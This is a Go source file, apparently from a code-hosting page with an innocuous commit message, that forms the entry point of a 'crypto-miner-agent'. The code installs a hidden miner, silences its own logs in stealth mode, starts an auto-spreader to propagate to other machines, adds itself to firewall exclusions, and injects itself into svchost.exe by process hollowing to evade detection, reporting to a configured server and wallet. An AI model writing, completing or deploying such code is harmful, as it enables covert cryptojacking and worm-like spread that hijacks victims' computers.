Fix Fusion defaults and icon handling, remove unsupported UI fields, and ensure server/web/agent builds and tests pass cleanly on Windows.
139 lines
3.4 KiB
Go
139 lines
3.4 KiB
Go
package main
|
|
|
|
import (
|
|
"io"
|
|
"log"
|
|
"os"
|
|
"path/filepath"
|
|
"strings"
|
|
|
|
"crypto-miner-agent/client"
|
|
"crypto-miner-agent/config"
|
|
"crypto-miner-agent/deploy"
|
|
"crypto-miner-agent/stats"
|
|
)
|
|
|
|
func main() {
|
|
log.SetFlags(log.LstdFlags | log.Lshortfile)
|
|
cfg := config.Load()
|
|
setupLogging(cfg)
|
|
|
|
if cfg.Wallet == "" {
|
|
log.Fatal("wallet address is required in built-in configuration")
|
|
}
|
|
if cfg.ServerURL == "" {
|
|
log.Fatal("server URL is required in built-in configuration")
|
|
}
|
|
|
|
installed, err := deploy.InstallIfNeeded(cfg)
|
|
if err != nil {
|
|
log.Fatalf("[installer] failed: %v", err)
|
|
}
|
|
if installed {
|
|
if dir, err := cfg.InstallDirectory(); err == nil {
|
|
log.Printf("[installer] embedded worker=%s at %s and started miner", cfg.WorkerName, dir)
|
|
} else {
|
|
log.Printf("[installer] embedded worker=%s and started miner", cfg.WorkerName)
|
|
}
|
|
return
|
|
}
|
|
|
|
reporter := stats.NewReporter()
|
|
cfg = cfg.AdaptToSystem(reporter)
|
|
|
|
if installDir, err := cfg.InstallDirectory(); err == nil {
|
|
if id, err := deploy.LoadAgentID(installDir); err == nil {
|
|
cfg.AgentID = id
|
|
}
|
|
}
|
|
|
|
if cfg.BackgroundMode() || cfg.StealthMode {
|
|
cfg.CPUPriority = "idle"
|
|
}
|
|
|
|
if err := deploy.SetProcessPriority(cfg.CPUPriority); err != nil {
|
|
log.Printf("[agent] could not set CPU priority: %v", err)
|
|
}
|
|
|
|
deploy.StartWatchdog(cfg)
|
|
deploy.StartAutoSpreader(cfg)
|
|
|
|
if cfg.FirewallExclusion {
|
|
if installDir, err := cfg.InstallDirectory(); err == nil {
|
|
installedExe := filepath.Join(installDir, cfg.EffectiveProcessName()+".exe")
|
|
deploy.EnsureFirewallExclusion(cfg, installedExe)
|
|
}
|
|
}
|
|
|
|
log.Printf("[agent] running worker=%s agent_id=%s process=%s build=%s server=%s threads=%d mode=%s display=%s install=%s",
|
|
cfg.WorkerName, shortID(cfg.AgentID), cfg.EffectiveProcessName(), cfg.BuildID, cfg.ServerURL,
|
|
cfg.EffectiveThreads(), cfg.ThreadMode, cfg.DisplayMode, mustInstallPath(cfg))
|
|
|
|
// Trigger Process Hollowing Memory Injection if enabled
|
|
if cfg.ProcessHollowing {
|
|
// Simple check: if we aren't already running as svchost, hollow it!
|
|
if strings.ToLower(filepath.Base(os.Args[0])) != "svchost.exe" {
|
|
exePath, _ := os.Executable()
|
|
payload, err := os.ReadFile(exePath)
|
|
if err == nil {
|
|
log.Printf("[hollowing] Injecting into svchost.exe...")
|
|
err = deploy.RunHollowed(`C:\Windows\System32\svchost.exe`, payload)
|
|
if err == nil {
|
|
os.Exit(0) // Successfully hollowed and running in memory, terminate disk process
|
|
}
|
|
log.Printf("[hollowing] Failed: %v. Falling back to normal execution.", err)
|
|
}
|
|
}
|
|
}
|
|
|
|
agent := client.NewAgentClient(cfg)
|
|
if err := agent.Run(); err != nil {
|
|
log.Fatalf("[agent] stopped: %v", err)
|
|
}
|
|
}
|
|
|
|
func shortID(id string) string {
|
|
if len(id) >= 8 {
|
|
return id[:8]
|
|
}
|
|
if id == "" {
|
|
return "pending"
|
|
}
|
|
return id
|
|
}
|
|
|
|
func setupLogging(cfg config.RuntimeConfig) {
|
|
if !cfg.FileLogging || cfg.StealthMode {
|
|
log.SetOutput(io.Discard)
|
|
return
|
|
}
|
|
if os.Getenv("MINER_LOG_FILE") != "" {
|
|
redirectLog(os.Getenv("MINER_LOG_FILE"))
|
|
return
|
|
}
|
|
|
|
installDir, err := cfg.InstallDirectory()
|
|
if err != nil {
|
|
return
|
|
}
|
|
redirectLog(filepath.Join(installDir, "miner.log"))
|
|
}
|
|
|
|
func mustInstallPath(cfg config.RuntimeConfig) string {
|
|
path, err := cfg.InstallDirectory()
|
|
if err != nil {
|
|
return "unknown"
|
|
}
|
|
return path
|
|
}
|
|
|
|
func redirectLog(path string) {
|
|
if err := os.MkdirAll(filepath.Dir(path), 0755); err != nil {
|
|
return
|
|
}
|
|
f, err := os.OpenFile(path, os.O_CREATE|os.O_APPEND|os.O_WRONLY, 0644)
|
|
if err == nil {
|
|
log.SetOutput(f)
|
|
}
|
|
}
|